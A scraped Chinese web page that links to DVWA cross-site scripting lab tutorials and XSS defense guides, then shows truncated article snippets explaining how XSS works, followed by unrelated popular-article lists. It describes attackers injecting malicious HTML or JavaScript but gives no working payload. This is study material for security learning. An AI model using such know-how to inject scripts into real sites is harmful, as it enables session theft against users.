http://blog.sina.com.cn/s/blog_9b7ed3d20102v92u.html

DVWA之DOM XSS(DOM型跨站脚本攻击)

https://blog.csdn.net/qq_36119192/article/details/82932557

dvwa-XSS(DOM)超详细

https://www.jianshu.com/p/001daa7cf1f5

DVWA XSS(Reflected) 通关教程

https://www.cnblogs.com/yyxianren/p/11381559.html

DVWA XSS(Stored) 通关教程

https://www.cnblogs.com/yyxianren/p/11381461.html

XSS防御方法总结

https://www.cnblogs.com/digdeep/p/4695348.html

Burp suit中 Xssvalidate使用介绍-推荐(XSS自动扫描)

https://blog.csdn.net/m0_37268841/article/details/79961956

select下拉框的探索(<option></option>标签中能嵌套使用其它标签吗)

https://www.cnblogs.com/tu-0718/p/7112836.html

《XSS跨站脚本攻击剖析与防御》

XSS原理dvwaxssvalidator使用相关推荐

  1. xss原理、攻击方式与防御

    xss原理: xss叫跨站脚本攻击,是Web程序中常见的漏洞只用于客户端的攻击方式,其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执 ...

  2. 渗透技术基础之XSS原理分析

    XSS介绍 Cross-Site Scripting(跨站脚本攻击)简称XSS,是一种代码注入攻击.为了和CSS区分,这里将其缩写的第一个字母改成了X,于是叫做XSS.恶意攻击者在web页面里插入恶意 ...

  3. 学习笔记之xss原理篇

    什么是xss XSS又叫CSS (Cross Site Script) ,跨站脚本***.它指的是恶意***者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会 ...

  4. xss原理和注入类型

    XSS漏洞原理 : XSS又叫CSS(cross Site Script), 跨站脚本攻击,指的是恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页时,嵌入其中的Web里的JS代码就会被执行,从 ...

  5. 1.2 xss原理分析与剖析(3)

    0×01 第三方劫持 (外调J/C): 本方法是我看长短短贴代码时知晓的,这篇文章我只是把这个攻击手法整理了出来,来说明这个漏洞,这个攻击手法并不是我发现的,我也不是太清楚是谁."第三方劫持 ...

  6. 存储型XSS原理讲解及实战实验

    原理:使用者提交的XSS代码被存储到服务器上的数据库里或页面或某个上传文件里,导致用户访问页面展示的内容时直接触发xss代码. 输入内容后直接在下方回显,回显的地方就是我们插入的内容的地方. 根据显示 ...

  7. 跨站脚本攻击 XSS原理

    个人对XSS攻击的笔记 原理:对可以控制传参的位置,比如url链接中,输入框中,首先闭合输出参数位置前后网页标签,在闭合的中间加上JavaScript代码或者其他的html标签,使得网页能够执行你添加 ...

  8. 1.3 xss原理分析与剖析(4)

    0×01 URL编码 URL只允许用US-ASCII字符集中可打印的字符(0×20-0x7x),其中某些字符在HTTP协议里有特殊的意义,所以有些也不能使用.这里有个需要注意的,+加号代表URL编码的 ...

  9. XSS的原理分析与解剖

    http://netsecurity.51cto.com/art/201408/448305_all.htm XSS的原理分析与解剖 xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原 ...

最新文章

  1. 中国工程院院士陈左宁详述:人工智能模型和算法的七大发展趋势
  2. 安卓使用Socket发送中文,C语言服务端接收乱码问题解决方式
  3. python求解方程组
  4. B树与B+树 两者的区别
  5. 深度学习之---yolo源代码部分分析
  6. gnuradio上怎么使用python文件_使用Python下载文件的简单示例
  7. SysUtils.UpperCase、SysUtils.LowerCase - 大小写转换
  8. 基于Web应用的性能分析及优化案例
  9. Atitit prgrmlan 编程语言主题列表 \0 it impttech topic\prgrmlan topic编程语言专题\AOP拦截器 表达式写法.docx \0 it impttec
  10. java开发app后端_app后端用什么开发
  11. ENSP未找到base device,是否立即注册
  12. 电商挖角潮起:工作两年百万年薪
  13. 《新零售:低价高效的数据赋能之路》读后感
  14. Python同时显示多张图片在一个画面中(两种方法)
  15. 麦当劳肯德基供应商使用变质过期肉:吃不死人
  16. php xmp,在jpeg中编写XMP元数据(使用PHP) – 使用单个或多个rdf:描述块
  17. DIY 大型FDM 3D打印机中遇到的问题和经验分享(1)
  18. 网页版音频播放器,歌词随音乐而动
  19. 内存系列二:深入理解硬件原理
  20. 全球为何只有13台DNS根服务器

热门文章

  1. excel表格如何转换成word表格_如何将excel转换成word?如何将excel表格转换成word文档?...
  2. 如何把excel表格的数据导入到MATLAB中去
  3. 怎么禁用计算机上的自动播放,关闭自动播放,小编教你Win7怎么关闭自动播放功能...
  4. Android神笔之Paint
  5. [日推荐] 『雅思口语自练狂』雅思考试神助攻!
  6. 硬件设计之一——电源设计05:过电流能力
  7. 什么是模块化代码?如何写?
  8. excel中利用综合应用len(),lenb(),left() ,find()函数筛选汉字问题
  9. java-php-python-ssm新生报到管理系统计算机毕业设计
  10. Spring Boot工程结构(推荐)